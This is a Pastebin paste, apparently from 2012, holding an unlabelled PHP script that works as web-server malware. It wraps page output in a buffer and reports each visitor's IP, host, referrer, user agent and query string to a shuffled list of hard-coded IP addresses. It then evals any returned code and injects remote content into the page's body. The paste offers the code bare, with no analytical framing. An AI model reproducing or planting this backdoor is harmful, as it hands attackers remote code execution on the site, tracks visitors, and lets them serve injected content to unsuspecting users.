Advertisement
Guest User

Untitled

a guest
May 5th, 2012
1,104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.33 KB | None | 0 0
  1. <?php
  2. if (!function_exists("GetMama")) {
  3.     function mod_con($buf){
  4.         str_ireplace("<body>","<body>",$buf,$cnt_h);
  5.         if ($cnt_h == 1) {
  6.             $buf = str_ireplace("<body>","<body>" . stripslashes($_SERVER["good"]),$buf);
  7.             return $buf;
  8.         }
  9.         str_ireplace("</body>","</body>",$buf,$cnt_h);
  10.         if ($cnt_h == 1) {
  11.             $buf = str_ireplace("</body>",stripslashes($_SERVER["good"])."</body>",$buf);
  12.             return $buf;
  13.         }
  14.         return $buf;
  15.     }
  16.     function opanki($buf)
  17.     {
  18.         $gz_e = false;
  19.         $h_l = headers_list();
  20.         if (in_array("Content-Encoding: gzip", $h_l)) {
  21.             $gz_e = true;
  22.         }
  23.         if ($gz_e) {
  24.             $tmpfname = tempnam("/tmp", "FOO");
  25.             file_put_contents($tmpfname, $buf);
  26.             $zd = gzopen($tmpfname, "r");
  27.             $contents = gzread($zd, 10000000);
  28.             $contents = mod_con($contents);
  29.             gzclose($zd);
  30.             unlink($tmpfname);
  31.             $contents = gzencode($contents);
  32.         } else {
  33.             $contents = mod_con($buf);
  34.         }
  35.         $len = strlen($contents);
  36.         header("Content-Length: ".$len);
  37.         return($contents);
  38.     }
  39.     function GetMama(){
  40.         $mother = "raskras39.ru";
  41.         return $mother;
  42.     }
  43.     ob_start("opanki");
  44.     function ahfudflfzdhfhs($pa)
  45.     {
  46.         $mama = GetMama();
  47.         $file = urlencode(__FILE__);
  48.         if (isset($_SERVER["HTTP_HOST"])) {
  49.             $host = $_SERVER["HTTP_HOST"];
  50.         } else {
  51.             $host = "";
  52.         }
  53.         if (isset($_SERVER["REMOTE_ADDR"])) {
  54.             $ip = $_SERVER["REMOTE_ADDR"];
  55.         } else {
  56.             $ip = "";
  57.         }
  58.         if (isset($_SERVER["HTTP_REFERER"])) {
  59.             $ref = urlencode($_SERVER["HTTP_REFERER"]);
  60.         } else {
  61.             $ref = "";
  62.         }
  63.         if (isset($_SERVER["HTTP_USER_AGENT"])) {
  64.             $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
  65.         } else {
  66.             $ua = "";
  67.         }
  68.         if (isset($_SERVER["QUERY_STRING"])) {
  69.             $qs = urlencode($_SERVER["QUERY_STRING"]);
  70.         } else {
  71.             $qs = "";
  72.         }
  73.         $url_0 = "http://" . $pa;
  74.         $url_1 = "/jedi.php?version=0993&mother=" .$mama . "&file=" . $file . "&host=" . $host . "&ip=" . $ip . "&ref=" . $ref . "&ua=" .$ua . "&qs=" . $qs;
  75.         $try = true;
  76.         if (function_exists("curl_init") ) {
  77.             $ch = curl_init($url_0 . $url_1);
  78.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  79.             curl_setopt($ch, CURLOPT_TIMEOUT, 3);
  80.             $ult = trim(curl_exec($ch));
  81.             $try = false;
  82.         }
  83.         if ((ini_get("allow_url_fopen")) && $try) {
  84.             $ult = trim(@file_get_contents($url_0 . $url_1));
  85.             $try = false;
  86.         }
  87.         if ($try) {
  88.             $fp = fsockopen($pa, 80, $errno, $errstr, 30);
  89.             if ($fp) {
  90.                 $out = "GET $url_1 HTTP/1.0\r\n";
  91.                 $out .= "Host: $pa\r\n";
  92.                 $out .= "Connection: Close\r\n\r\n";
  93.                 fwrite($fp, $out);
  94.                 $ret = "";
  95.                 while (!feof($fp)) {
  96.                     $ret  .=  fgets($fp, 128);
  97.                 }
  98.                 fclose($fp);
  99.                 $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));
  100.             }
  101.         }
  102.         if (strpos($ult,"eval") !== false) {
  103.             $z = stripslashes(str_replace("eval","",$ult));
  104.             eval($z);
  105.             exit();
  106.         }
  107.         if (strpos($ult,"ebna") !== false) {
  108.             $_SERVER["good"] = str_replace("ebna","",$ult);
  109.             return true;
  110.         } else {
  111.             return false;
  112.         }
  113.     }
  114.     $father2[] = "77.81.241.253";
  115.     $father2[] = "46.249.58.135";
  116.     $father2[] = "176.9.241.150";
  117.     $father2[] = "46.37.169.56";
  118.     $father2[] = "94.242.255.35";
  119.     $father2[] = "178.162.129.223";
  120.     $father2[] = "31.184.234.96";
  121.     $father2[] = "77.95.18.189";
  122.     $father2[] = "93.170.137.22";
  123.     $father2[] = "188.40.95.244";
  124.     $father2[] = "199.115.231.58";
  125.     $father2[] = "82.192.87.178";
  126.     $father2[] = "216.246.99.215";
  127.     $father2[] = "95.211.18.79";
  128.     shuffle($father2);
  129.     foreach($father2 as $ur){
  130.         if (ahfudflfzdhfhs($ur) ) {
  131.             break ;
  132.         }
  133.     }
  134. }
  135. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement